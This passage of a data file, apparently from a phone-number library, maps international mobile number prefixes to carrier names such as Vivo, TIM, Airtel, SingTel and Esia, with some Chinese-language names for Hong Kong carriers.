'6011153':{'en': 'Tune Talk'},
'6011152':{'en': 'Tune Talk'},
'6011155':{'en': 'Celcom'},
'6011154':{'en': 'Tune Talk'},
'6011157':{'en': 'Celcom'},
'6011156':{'en': 'Celcom'},
'6011159':{'en': 'Celcom'},
'6011158':{'en': 'Celcom'},
'917700':{'en': 'Videocon'},
'559898184':{'en': 'TIM'},
'559898185':{'en': 'TIM'},
'559898182':{'en': 'TIM'},
'559898183':{'en': 'TIM'},
'559898181':{'en': 'TIM'},
'556999905':{'en': 'Vivo'},
'556999904':{'en': 'Vivo'},
'556999907':{'en': 'Vivo'},
'556999906':{'en': 'Vivo'},
'556999901':{'en': 'Vivo'},
'556999903':{'en': 'Vivo'},
'556999902':{'en': 'Vivo'},
'556999909':{'en': 'Vivo'},
'556999908':{'en': 'Vivo'},
'556698406':{'en': 'Brasil Telecom GSM'},
'556698407':{'en': 'Brasil Telecom GSM'},
'556698404':{'en': 'Brasil Telecom GSM'},
'556698405':{'en': 'Brasil Telecom GSM'},
'556698402':{'en': 'Brasil Telecom GSM'},
'556698403':{'en': 'Brasil Telecom GSM'},
'9053387':{'en': 'Kuzey Kibris Turkcell'},
'556698401':{'en': 'Brasil Telecom GSM'},
'556698408':{'en': 'Brasil Telecom GSM'},
'556698409':{'en': 'Brasil Telecom GSM'},
'62331994':{'en': 'Esia'},
'62331993':{'en': 'Esia'},
'62331992':{'en': 'Esia'},
'62331991':{'en': 'Esia'},
'62331990':{'en': 'Esia'},
'62735986':{'en': 'Esia'},
'65817':{'en': 'M1'},
'65816':{'en': 'StarHub'},
'65815':{'en': 'StarHub'},
'65814':{'en': 'StarHub'},
'65813':{'en': 'StarHub'},
'65812':{'en': 'SingTel'},
'65811':{'en': 'StarHub'},
'65810':{'en': 'M1'},
'8536584':{'en': 'China Telecom'},
'9174620':{'en': 'Airtel'},
'9176408':{'en': 'Vodafone'},
'9176409':{'en': 'Vodafone'},
'9173698':{'en': 'Idea'},
'9173699':{'en': 'Idea'},
'9176400':{'en': 'Vodafone'},
'9173690':{'en': 'Airtel'},
'853622':{'en': '3'},
'853623':{'en': 'CTM'},
'853621':{'en': 'China Telecom'},
'9178118':{'en': 'Reliance'},
'9178119':{'en': 'Reliance'},
'9174310':{'en': 'Vodafone'},
'853628':{'en': 'CTM'},
'9178110':{'en': 'Reliance'},
'558799243':{'en': 'Claro BR'},
'9174318':{'en': 'Vodafone'},
'9174319':{'en': 'Vodafone'},
'559899199':{'en': 'Vivo'},
'918341':{'en': 'Telewings'},
'9173239':{'en': 'Idea'},
'559899193':{'en': 'Vivo'},
'918015':{'en': 'Tata Docomo'},
'9174709':{'en': 'Airtel'},
'677932':{'en': 'Satsol'},
'677930':{'en': 'Satsol'},
'677931':{'en': 'Satsol'},
'917209':{'en': 'Tata Docomo'},
'917208':{'en': 'Tata Docomo'},
'558199749':{'en': 'TIM'},
'558199748':{'en': 'TIM'},
'558199747':{'en': 'TIM'},
'5696894':{'en': 'Netline'},
'5696895':{'en': 'Entel'},
'5696896':{'en': 'Entel'},
'5696897':{'en': 'Entel'},
'5696890':{'en': 'Netline'},
'5696891':{'en': 'Netline'},
'5696892':{'en': 'Netline'},
'5696893':{'en': 'Netline'},
'5696898':{'en': 'Entel'},
'5696899':{'en': 'Entel'},
'658218':{'en': 'SingTel'},
'658219':{'en': 'M1'},
'658214':{'en': 'M1'},
'658215':{'en': 'M1'},
'658216':{'en': 'M1'},
'658217':{'en': 'M1'},
'658210':{'en': 'M1'},
'658211':{'en': 'M1'},
'658212':{'en': 'M1'},
'658213':{'en': 'M1'},
'557799964':{'en': 'Vivo'},
'557799966':{'en': 'Vivo'},
'557799967':{'en': 'Vivo'},
'557799961':{'en': 'Vivo'},
'557799962':{'en': 'Vivo'},
'557799963':{'en': 'Vivo'},
'557799968':{'en': 'Vivo'},
'557799969':{'en': 'Vivo'},
'917247':{'en': 'Idea'},
'852935':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852934':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852937':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852936':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852931':{'en': 'SmarTone', 'zh': u('\u6570\u7801\u901a'), 'zh_Hant': u('\u6578\u78bc\u901a')},
'852930':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852933':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852932':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852938':{'en': 'SmarTone', 'zh': u('\u6570\u7801\u901a'), 'zh_Hant': u('\u6578\u78bc\u901a')},
'9177460':{'en': 'Idea'},
'918344':{'en': 'Aircel'},
'9177469':{'en': 'Idea'},
'9177468':{'en': 'Idea'},
'68577':{'en': 'Digicel'},
'55629998':{'en': 'Vivo'},
'55629997':{'en': 'Vivo'},
'55629996':{'en': 'Vivo'},
'9181090':{'en': 'Tata Docomo'},
'556599646':{'en': 'Vivo'},
'6243599':{'en': 'Esia'},
'559598122':{'en': 'TIM'},
'556599644':{'en': 'Vivo'},
'9180940':{'en': 'Vodafone'},
'556599648':{'en': 'Vivo'},
'9174370':{'en': 'Vodafone'},
'556599649':{'en': 'Vivo'},
'917689':{'en': 'Idea'},
'917683':{'en': 'Airtel'},
'917682':{'en': 'Airtel'},
'559198228':{'en': 'TIM'},
'559198229':{'en': 'TIM'},
'559198224':{'en': 'TIM'},
'559198225':{'en': 'TIM'},
'559198226':{'en': 'TIM'},
'559198227':{'en': 'TIM'},
'559198221':{'en': 'TIM'},
'559198222':{'en': 'TIM'},
'559198223':{'en': 'TIM'},
'559899112':{'en': 'Vivo'},
'559899113':{'en': 'Vivo'},
'917573':{'en': 'Vodafone'},
'559899111':{'en': 'Vivo'},
'559899116':{'en': 'Vivo'},
'559899117':{'en': 'Vivo'},
'559899114':{'en': 'Vivo'},
'559899115':{'en': 'Vivo'},
'917579':{'en': 'CellOne'},
'9174960':{'en': 'Tata Docomo'},
'559899118':{'en': 'Vivo'},
'559899119':{'en': 'Vivo'},
'917063':{'en': 'Airtel'},
'5699048':{'en': 'WOM'},
'5699049':{'en': 'WOM'},
'5699046':{'en': 'Movistar'},
'5699047':{'en': 'Movistar'},
'5699044':{'en': 'Movistar'},
'5699045':{'en': 'Movistar'},
'5699042':{'en': 'Movistar'},
'5699043':{'en': 'Movistar'},
'5699040':{'en': 'Movistar'},
'5699041':{'en': 'Movistar'},
'60154840':{'en': 'REDtone'},
'60154841':{'en': 'Bizsurf'},
'917060':{'en': 'Airtel'},
'60154845':{'en': 'Fristor'},
'60154848':{'en': 'Packet One'},
'60154849':{'en': 'Packet One'},
'917066':{'en': 'Vodafone'},
'559799612':{'en': 'Oi'},
'918288':{'en': 'Airtel'},
'918286':{'en': 'Aircel'},
'918287':{'en': 'Reliance'},
'918284':{'en': 'Airtel'},
'559799613':{'en': 'Oi'},
'918282':{'en': 'Tata Docomo'},
'918283':{'en': 'Airtel'},
'918280':{'en': 'CellOne'},
'918281':{'en': 'CellOne'},
'6241196':{'en': 'Esia'},
'6241194':{'en': 'Esia'},
'6241195':{'en': 'Esia'},
'6241192':{'en': 'Esia'},
'6241193':{'en': 'Esia'},
'6241191':{'en': 'Esia'},
'67855':{'en': 'Digicel'},
'5567999':{'en': 'Vivo'},
'67856':{'en': 'Digicel'},
'67851':{'en': 'Digicel'},
'67850':{'en': 'Digicel'},
'67853':{'en': 'Digicel'},
'67852':{'en': 'Digicel'},
'67859':{'en': 'Digicel'},
'67858':{'en': 'Digicel'},
'5567996':{'en': 'Vivo'},
'917397':{'en': 'Airtel'},
'917396':{'en': 'Telewings'},
'917399':{'en': 'Dishnet'},
'917398':{'en': 'Telewings'},
'556699698':{'en': 'Vivo'},
'556699699':{'en': 'Vivo'},
'61451':{'en': 'Vodafone'},
'61450':{'en': 'Vodafone'},
'61457':{'en': 'Telstra'},
'61456':{'en': 'Telstra'},
'61455':{'en': 'Telstra'},
'556699691':{'en': 'Vivo'},
'556699692':{'en': 'Vivo'},
'556699693':{'en': 'Vivo'},
'556699694':{'en': 'Vivo'},
'556699695':{'en': 'Vivo'},
'556699696':{'en': 'Vivo'},
'556699697':{'en': 'Vivo'},
'558899636':{'en': 'TIM'},
'558899634':{'en': 'TIM'},
'558899635':{'en': 'TIM'},
'558899630':{'en': 'TIM'},
'62273923':{'en': 'Esia'},
'62273922':{'en': 'Esia'},
'62273921':{'en': 'Esia'},
'5696790':{'en': 'Telestar'},
'5696797':{'en': 'Entel'},
'5696796':{'en': 'Entel'},
'5696795':{'en': 'Entel'},
'62273924':{'en': 'Esia'},
'5696799':{'en': 'Entel'},
'5696798':{'en': 'Entel'},
'559498128':{'en': 'TIM'},
'559498129':{'en': 'TIM'},
'917031':{'en': 'Dishnet'},
'559498121':{'en': 'TIM'},
'559498122':{'en': 'TIM'},
'559498123':{'en': 'TIM'},
'559498124':{'en': 'TIM'},
'559498125':{'en': 'TIM'},
'559498126':{'en': 'TIM'},
'559498127':{'en': 'TIM'},
'556499937':{'en': 'Vivo'},
'8536303':{'en': '3'},
'556499935':{'en': 'Vivo'},
'8536301':{'en': 'CTM'},
'8536306':{'en': '3'},
'556399941':{'en': 'Vivo'},
'556499931':{'en': 'Vivo'},
'8536305':{'en': '3'},
'8536658':{'en': 'CTM'},
'8536659':{'en': 'CTM'},
'8536308':{'en': '3'},
'8536309':{'en': 'CTM'},
'556499939':{'en': 'Vivo'},
'556499938':{'en': 'Vivo'},
'555499901':{'en': 'Vivo'},
'555499903':{'en': 'Vivo'},
'555499902':{'en': 'Vivo'},
'555499905':{'en': 'Vivo'},
'555499904':{'en': 'Vivo'},
'555499907':{'en': 'Vivo'},
'555499906':{'en': 'Vivo'},
'555499909':{'en': 'Vivo'},
'555499908':{'en': 'Vivo'},
'599951':{'en': 'Chippie'},
'599953':{'en': 'Chippie'},
'599952':{'en': 'Chippie'},
'599954':{'en': 'Chippie'},
'599957':{'en': 'Chippie'},
'599956':{'en': 'Chippie'},
'556199841':{'en': 'Vivo'},
'556199842':{'en': 'Vivo'},
'556199843':{'en': 'Vivo'},
'556199844':{'en': 'Vivo'},
'556399948':{'en': 'Vivo'},
'9174109':{'en': 'Vodafone'},
'9174108':{'en': 'Vodafone'},
'9174103':{'en': 'Airtel'},
'9174102':{'en': 'Airtel'},
'9174101':{'en': 'Airtel'},
'9174100':{'en': 'Airtel'},
'9174107':{'en': 'Airtel'},
'9174106':{'en': 'Airtel'},
'9174105':{'en': 'Airtel'},
'9174104':{'en': 'Airtel'},
'556299816':{'en': 'Vivo'},
'556299817':{'en': 'Vivo'},
'556299814':{'en': 'Vivo'},
'556299815':{'en': 'Vivo'},
'556299812':{'en': 'Vivo'},
'556299813':{'en': 'Vivo'},
'556299811':{'en': 'Vivo'},
'556299818':{'en': 'Vivo'},
'9181388':{'en': 'Airtel'},
'559399952':{'en': 'Oi'},
'559399951':{'en': 'Oi'},
'559399954':{'en': 'Oi'},
'559899619':{'en': 'Oi'},
'559899618':{'en': 'Oi'},
'559899615':{'en': 'Oi'},
'559899614':{'en': 'Oi'},
'559899617':{'en': 'Oi'},
'559899616':{'en': 'Oi'},
'559899611':{'en': 'Oi'},
'559899613':{'en': 'Oi'},
'559899612':{'en': 'Oi'},
'9181150':{'en': 'Telewings'},
'9181400':{'en': 'Idea'},
'84199':{'en': 'G-Mobile'},
'9180570':{'en': 'Idea'},
'9174578':{'en': 'Airtel'},
'9174579':{'en': 'Airtel'},
'9174570':{'en': 'Airtel'},
'6232191':{'en': 'Esia'},
'6232192':{'en': 'Esia'},
'9179708':{'en': 'Airtel'},
'9179709':{'en': 'Airtel'},
'9179706':{'en': 'Airtel'},
'9179707':{'en': 'Airtel'},
'9179704':{'en': 'Airtel'},
'9179705':{'en': 'Airtel'},
'9179702':{'en': 'Idea'},
'9179703':{'en': 'Airtel'},
'9179700':{'en': 'Idea'},
'9179701':{'en': 'Idea'},
'918004':{'en': 'CellOne'},
'917498':{'en': 'Reliance'},
'917499':{'en': 'Reliance'},
'658799':{'en': 'SingTel'},
'658798':{'en': 'SingTel'},
'658797':{'en': 'M1'},
'9177909':{'en': 'Aircel'},
'658790':{'en': 'StarHub'},
'67578':{'en': 'Telikom'},
'67579':{'en': 'Digicel'},
'569552':{'en': 'WOM'},
'569553':{'en': 'WOM'},
'569550':{'en': 'OPS Movil'},
'569551':{'en': 'WOM'},
'569556':{'en': 'Falabella Movil'},
'569557':{'en': 'Telestar'},
'569554':{'en': 'Netline'},
'9180080':{'en': 'Airtel'},
'569558':{'en': 'Falabella Movil'},
'569559':{'en': 'Falabella Movil'},
'917724':{'en': 'Reliance'},
'555398421':{'en': 'Brasil Telecom GSM'},
'555398422':{'en': 'Brasil Telecom GSM'},
'555398423':{'en': 'Brasil Telecom GSM'},
'555398424':{'en': 'Brasil Telecom GSM'},
'555398425':{'en': 'Brasil Telecom GSM'},
'555398426':{'en': 'Brasil Telecom GSM'},
'555398427':{'en': 'Brasil Telecom GSM'},
'555398428':{'en': 'Brasil Telecom GSM'},
'555398429':{'en': 'Brasil Telecom GSM'},
'917728':{'en': 'Hexacom'},
'917729':{'en': 'Idea'},
'6011139':{'en': 'Baraka'},
'6011138':{'en': 'Baraka'},
'9183008':{'en': 'Reliance Jio'},
'9183009':{'en': 'Reliance Jio'},
'6011133':{'en': 'XOX'},
'6011132':{'en': 'XOX'},
'6011131':{'en': 'XOX'},
'6011130':{'en': 'XOX'},
'6011137':{'en': 'Baraka'},
'6011136':{'en': 'Baraka'},
'6011135':{'en': 'Baraka'},
'6011134':{'en': 'XOX'},
'9175229':{'en': 'Idea'},
'9175228':{'en': 'Airtel'},
'91700':{'en': 'Reliance Jio'},
'91701':{'en': 'Reliance Jio'},
'9175220':{'en': 'Airtel'},
'556999929':{'en': 'Vivo'},
'556999928':{'en': 'Vivo'},
'556999923':{'en': 'Vivo'},
'556999922':{'en': 'Vivo'},
'556999921':{'en': 'Vivo'},
'556999927':{'en': 'Vivo'},
'556999926':{'en': 'Vivo'},
'556999925':{'en': 'Vivo'},
'556999924':{'en': 'Vivo'},
'556698428':{'en': 'Brasil Telecom GSM'},
'556698424':{'en': 'Brasil Telecom GSM'},
'556698425':{'en': 'Brasil Telecom GSM'},
'556698426':{'en': 'Brasil Telecom GSM'},
'556698427':{'en': 'Brasil Telecom GSM'},
'556698421':{'en': 'Brasil Telecom GSM'},
'556698422':{'en': 'Brasil Telecom GSM'},
'556698423':{'en': 'Brasil Telecom GSM'},
'9176258':{'en': 'CellOne'},
'659443':{'en': 'SingTel'},
'659446':{'en': 'SingTel'},
'659444':{'en': 'SingTel'},
'659445':{'en': 'SingTel'},
'559699909':{'en': 'Oi'},
'559699908':{'en': 'Oi'},
'559699903':{'en': 'Oi'},
'559699902':{'en': 'Oi'},
'559699901':{'en': 'Oi'},
'559699907':{'en': 'Oi'},
'559699906':{'en': 'Oi'},
'559699905':{'en': 'Oi'},
'559699904':{'en': 'Oi'},
'559699161':{'en': 'Vivo'},
'918200':{'en': 'Reliance Jio'},
'556199832':{'en': 'Vivo'},
'918003':{'en': 'Airtel'},
'9174840':{'en': 'Airtel'},
'9176420':{'en': 'Vodafone'},
'9176428':{'en': 'Vodafone'},
'9176429':{'en': 'Vodafone'},
'559699168':{'en': 'Vivo'},
'558799912':{'en': 'TIM'},
'558799913':{'en': 'TIM'},
'558799911':{'en': 'TIM'},
'558799916':{'en': 'TIM'},
'558799917':{'en': 'TIM'},
'558799914':{'en': 'TIM'},
'558799915':{'en': 'TIM'},
'9174378':{'en': 'Vodafone'},
'9174379':{'en': 'Vodafone'},
'558799918':{'en': 'TIM'},
'558799919':{'en': 'TIM'},
'9174848':{'en': 'Airtel'},
'9174849':{'en': 'Airtel'},
'6661':{'en': 'AIS'},
'6666':{'en': 'DTAC'},
'6664':{'en': 'Penguin SIM'},
'6665':{'en': 'AIS'},
'63995':{'en': 'Globe'},
'63998':{'en': 'Smart'},
'63999':{'en': 'Smart'},
'6234167':{'en': 'Esia'},
'6234166':{'en': 'Esia'},
'6234165':{'en': 'Esia'},
'852916':{'en': 'SmarTone', 'zh': u('\u6570\u7801\u901a'), 'zh_Hant': u('\u6578\u78bc\u901a')},
'9178138':{'en': 'Reliance'},
'9178139':{'en': 'Reliance'},
'852540':{'en': 'New World Mobility', 'zh': u('\u65b0\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u65b0\u79fb\u52d5\u901a\u8a0a')},
'852541':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'852543':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852919':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852918':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852917':{'en': 'SmarTone', 'zh': u('\u6570\u7801\u901a'), 'zh_Hant': u('\u6578\u78bc\u901a')},
'852544':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852915':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852914':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852913':{'en': 'SmarTone', 'zh': u('\u6570\u7801\u901a'), 'zh_Hant': u('\u6578\u78bc\u901a')},
'852912':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852910':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852546':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'856209':{'en': 'Unitel'},
'9177488':{'en': 'Idea'},
'856207':{'en': 'Beeline'},
'856205':{'en': 'Lao Telecom'},
'852547':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'856202':{'en': 'ETL'},
'9177480':{'en': 'Idea'},
'9177489':{'en': 'Idea'},
'62215936':{'en': 'Esia'},
'569949':{'en': 'Entel'},
'9180960':{'en': 'Idea'},
'569945':{'en': 'Movistar'},
'569944':{'en': 'Movistar'},
'569947':{'en': 'Entel'},
'569946':{'en': 'Movistar'},
'569941':{'en': 'Entel'},
'569940':{'en': 'Movistar'},
'569943':{'en': 'Movistar'},
'569942':{'en': 'Movistar'},
'8536517':{'en': 'CTM'},
'8536516':{'en': 'CTM'},
'8536515':{'en': 'CTM'},
'9177030':{'en': 'Vodafone'},
'8536519':{'en': 'CTM'},
'8536518':{'en': 'CTM'},
'9181210':{'en': 'Tata Docomo'},
'9176039':{'en': 'Reliance'},
'9176038':{'en': 'Reliance'},
'6227299':{'en': 'Esia'},
'557199229':{'en': 'TIM'},
'557199228':{'en': 'TIM'},
'557199221':{'en': 'TIM'},
'557199223':{'en': 'TIM'},
'557199222':{'en': 'TIM'},
'557199225':{'en': 'TIM'},
'557199224':{'en': 'TIM'},
'557199227':{'en': 'TIM'},
'557199226':{'en': 'TIM'},
'6869':{'en': 'TSKL'},
'557599181':{'en': 'TIM'},
'557599182':{'en': 'TIM'},
'557599183':{'en': 'TIM'},
'559899138':{'en': 'Vivo'},
'559899139':{'en': 'Vivo'},
'9174900':{'en': 'Airtel'},
'918116':{'en': 'Airtel'},
'559899131':{'en': 'Vivo'},
'559899132':{'en': 'Vivo'},
'559899133':{'en': 'Vivo'},
'559899134':{'en': 'Vivo'},
'559899135':{'en': 'Vivo'},
'559899136':{'en': 'Vivo'},
'559899137':{'en': 'Vivo'},
'9183923':{'en': 'Vodafone'},
'9183922':{'en': 'Vodafone'},
'9183921':{'en': 'Vodafone'},
'9183920':{'en': 'Reliance'},
'9183927':{'en': 'Vodafone'},
'9183926':{'en': 'Vodafone'},
'9183925':{'en': 'Vodafone'},
'9183924':{'en': 'Vodafone'},
'9183929':{'en': 'Vodafone'},
'9183928':{'en': 'Vodafone'},
'5699028':{'en': 'WOM'},
'5699029':{'en': 'WOM'},
'5699020':{'en': 'Movistar'},
'5699021':{'en': 'Movistar'},
'5699022':{'en': 'Movistar'},
'5699023':{'en': 'Movistar'},
'5699024':{'en': 'Movistar'},
'5699025':{'en': 'Movistar'},
'5699026':{'en': 'Mobilink'},
'5699027':{'en': 'Mobilink'},
'569769':{'en': 'Claro'},
'569768':{'en': 'Claro'},
'60154862':{'en': 'TM Net'},
'60154860':{'en': 'TM Net'},
'556498141':{'en': 'TIM'},
'569760':{'en': 'Entel'},
'569763':{'en': 'Movistar'},
'569762':{'en': 'Movistar'},
'569765':{'en': 'Entel'},
'569764':{'en': 'Entel'},
'569767':{'en': 'Claro'},
'569766':{'en': 'Entel'},
'658636':{'en': 'SingTel'},
'658637':{'en': 'SingTel'},
'658634':{'en': 'SingTel'},
'658635':{'en': 'SingTel'},
'658633':{'en': 'SingTel'},
'57305':{'en': 'Movil Exito'},
'658631':{'en': 'SingTel'},
'658638':{'en': 'SingTel'},
'658639':{'en': 'SingTel'},
'556699908':{'en': 'Vivo'},
'556699909':{'en': 'Vivo'},
'9182298':{'en': 'Idea'},
'9182299':{'en': 'Reliance'},
'556699901':{'en': 'Vivo'},
'556699902':{'en': 'Vivo'},
'556699903':{'en': 'Vivo'},
'556699904':{'en': 'Vivo'},
'556699905':{'en': 'Vivo'},
'556699906':{'en': 'Vivo'},
'556699907':{'en': 'Vivo'},
'67873':{'en': 'SMILE'},
'67871':{'en': 'SMILE'},
'67870':{'en': 'SMILE'},
'67876':{'en': 'SMILE'},
'67875':{'en': 'SMILE'},
'67874':{'en': 'SMILE'},
'6221358':{'en': 'Esia'},
'6221359':{'en': 'Esia'},
'9172199':{'en': 'Aircel'},
'61439':{'en': 'Telstra'},
'61438':{'en': 'Telstra'},
'61431':{'en': 'Optus'},
'61430':{'en': 'Vodafone'},
'61433':{'en': 'Vodafone'},
'61432':{'en': 'Optus'},
'61435':{'en': 'Optus'},
'61434':{'en': 'Optus'},
'61437':{'en': 'Telstra'},
'61436':{'en': 'Telstra'},
'9183285':{'en': 'Reliance Jio'},
'62218393':{'en': 'Esia'},
'9183283':{'en': 'Reliance Jio'},
'9183280':{'en': 'Reliance Jio'},
'9177102':{'en': 'Idea'},
'9177103':{'en': 'Idea'},
'9177101':{'en': 'Idea'},
'9177106':{'en': 'Idea'},
'9177107':{'en': 'Idea'},
'9177104':{'en': 'Idea'},
'9177105':{'en': 'Idea'},
'84186':{'en': 'Vietnamobile'},
'558999443':{'en': 'Claro BR'},
'558999446':{'en': 'Claro BR'},
'558999444':{'en': 'Claro BR'},
'558999445':{'en': 'Claro BR'},
'556499607':{'en': 'Vivo'},
'9181160':{'en': 'Airtel'},
'556499606':{'en': 'Vivo'},
'556699619':{'en': 'Vivo'},
'9173553':{'en': 'Reliance Jio'},
'556499959':{'en': 'Vivo'},
'556499958':{'en': 'Vivo'},
'559498148':{'en': 'TIM'},
'559498149':{'en': 'TIM'},
'556499955':{'en': 'Vivo'},
'556499954':{'en': 'Vivo'},
'556499957':{'en': 'Vivo'},
'556499956':{'en': 'Vivo'},
'556499951':{'en': 'Vivo'},
'559498143':{'en': 'TIM'},
'556499953':{'en': 'Vivo'},
'556499952':{'en': 'Vivo'},
'8536678':{'en': 'SmarTone'},
'8536679':{'en': 'CTM'},
'8536672':{'en': 'CTM'},
'8536673':{'en': 'SmarTone'},
'8536670':{'en': 'China Telecom'},
'8536671':{'en': 'China Telecom'},
'8536676':{'en': '3'},
'8536677':{'en': 'CTM'},
'8536674':{'en': '3'},
'8536675':{'en': 'CTM'},
'555499927':{'en': 'Vivo'},
'555499926':{'en': 'Vivo'},
'555499925':{'en': 'Vivo'},
'555499924':{'en': 'Vivo'},
'555499923':{'en': 'Vivo'},
'555499922':{'en': 'Vivo'},
'555499921':{'en': 'Vivo'},
'555499929':{'en': 'Vivo'},
'555499928':{'en': 'Vivo'},
'556298129':{'en': 'TIM'},
'556298128':{'en': 'TIM'},
'556199828':{'en': 'Vivo'},
'556199829':{'en': 'Vivo'},
'556298121':{'en': 'TIM'},
'556199827':{'en': 'Vivo'},
'556298123':{'en': 'TIM'},
'556298122':{'en': 'TIM'},
'556298125':{'en': 'TIM'},
'556298124':{'en': 'TIM'},
'556298127':{'en': 'TIM'},
'556199821':{'en': 'Vivo'},
'9174120':{'en': 'Vodafone'},
'9174129':{'en': 'Vodafone'},
'9174128':{'en': 'Vodafone'},
'85598':{'en': 'Smart'},
'85590':{'en': 'Beeline'},
'85592':{'en': 'Cellcard'},
'85593':{'en': 'Smart'},
'85595':{'en': 'Cellcard'},
'85596':{'en': 'Smart'},
'556399958':{'en': 'Vivo'},
'556399959':{'en': 'Vivo'},
'622992':{'en': 'Esia'},
'556399951':{'en': 'Vivo'},
'556399952':{'en': 'Vivo'},
'556399953':{'en': 'Vivo'},
'556399954':{'en': 'Vivo'},
'556399955':{'en': 'Vivo'},
'556399956':{'en': 'Vivo'},
'556399957':{'en': 'Vivo'},
'658418':{'en': 'M1'},
'62380404':{'en': 'Esia'},
'658419':{'en': 'M1'},
'62380401':{'en': 'Esia'},
'62380400':{'en': 'Esia'},
'62380403':{'en': 'Esia'},
'62380402':{'en': 'Esia'},
'658416':{'en': 'M1'},
'658417':{'en': 'M1'},
'9053':{'en': 'Turkcell'},
'9054':{'en': 'Vodafone'},
'9055':{'en': 'Turk Telekom'},
'9181178':{'en': 'Airtel'},
'9181179':{'en': 'Airtel'},
'6233399':{'en': 'Esia'},
'9181170':{'en': 'Airtel'},
'9173559':{'en': 'Reliance Jio'},
'556498441':{'en': 'Brasil Telecom GSM'},
'556899942':{'en': 'Vivo'},
'556899943':{'en': 'Vivo'},
'556899941':{'en': 'Vivo'},
'556899946':{'en': 'Vivo'},
'556899947':{'en': 'Vivo'},
'556899944':{'en': 'Vivo'},
'556899945':{'en': 'Vivo'},
'658405':{'en': 'SingTel'},
'658404':{'en': 'SingTel'},
'556899948':{'en': 'Vivo'},
'556899949':{'en': 'Vivo'},
'658401':{'en': 'SingTel'},
'658400':{'en': 'StarHub'},
'658403':{'en': 'SingTel'},
'658402':{'en': 'SingTel'},
'9175650':{'en': 'Vodafone'},
'9175658':{'en': 'Vodafone'},
'9175659':{'en': 'Vodafone'},
'557199941':{'en': 'Vivo'},
'557199942':{'en': 'Vivo'},
'557199943':{'en': 'Vivo'},
'557199944':{'en': 'Vivo'},
'557199945':{'en': 'Vivo'},
'557199946':{'en': 'Vivo'},
'557199947':{'en': 'Vivo'},
'557199948':{'en': 'Vivo'},
'557199949':{'en': 'Vivo'},
'62341683':{'en': 'Esia'},
'558699973':{'en': 'TIM'},
'8536884':{'en': 'CTM'},
'68987':{'en': 'Vini'},
'68989':{'en': 'Vodafone'},
'555598419':{'en': 'Brasil Telecom GSM'},
'555598418':{'en': 'Brasil Telecom GSM'},
'555598417':{'en': 'Brasil Telecom GSM'},
'555598416':{'en': 'Brasil Telecom GSM'},
'555598415':{'en': 'Brasil Telecom GSM'},
'555598414':{'en': 'Brasil Telecom GSM'},
'555598413':{'en': 'Brasil Telecom GSM'},
'555598412':{'en': 'Brasil Telecom GSM'},
'555598411':{'en': 'Brasil Telecom GSM'},
'59669663':{'en': 'SFR/Rife'},
'59669662':{'en': 'SFR/Rife'},
'917805':{'en': 'Reliance'},
'9173619':{'en': 'Vodafone'},
'9172491':{'en': 'Telewings'},
'66801':{'en': 'AIS'},
'66800':{'en': 'AIS'},
'66803':{'en': 'True Move'},
'66802':{'en': 'AIS'},
'6018798':{'en': 'YTL'},
'6018799':{'en': 'YTL'},
'66806':{'en': 'AIS'},
'6018794':{'en': 'U Mobile'},
'6018795':{'en': 'YTL'},
'6018796':{'en': 'YTL'},
'6018797':{'en': 'YTL'},
'6018790':{'en': 'U Mobile'},
'6018791':{'en': 'U Mobile'},
'6018792':{'en': 'U Mobile'},
'6018793':{'en': 'U Mobile'},
'918320':{'en': 'Reliance Jio'},
'918329':{'en': 'Reliance Jio'},
'556299696':{'en': 'Vivo'},
'9183175':{'en': 'Reliance Jio'},
'9176440':{'en': 'Telenor'},
'9176370':{'en': 'Airtel'},
'9176448':{'en': 'Telenor'},
'9176449':{'en': 'Telenor'},
'9183173':{'en': 'Reliance Jio'},
'614791':{'en': 'Optus'},
'614790':{'en': 'Optus'},
'917804':{'en': 'Reliance'},
'9174358':{'en': 'Vodafone'},
'9174359':{'en': 'Vodafone'},
'9174350':{'en': 'Vodafone'},
'9173258':{'en': 'Airtel'},
'62335998':{'en': 'Esia'},
'9173259':{'en': 'Airtel'},
'6866':{'en': 'TSKL'},
'6867':{'en': 'ATHKL'},
'9173789':{'en': 'Vodafone'},
'917205':{'en': 'Tata Docomo'},
'9176819':{'en': 'Tata Docomo'},
'63976':{'en': 'Globe'},
'63975':{'en': 'Globe'},
'9172874':{'en': 'Airtel'},
'6221608':{'en': 'Esia'},
'6221609':{'en': 'Esia'},
'852689':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852688':{'en': 'China Unicom', 'zh': u('\u4e2d\u56fd\u8054\u901a'), 'zh_Hant': u('\u4e2d\u570b\u806f\u901a')},
'6221604':{'en': 'Esia'},
'6221605':{'en': 'Esia'},
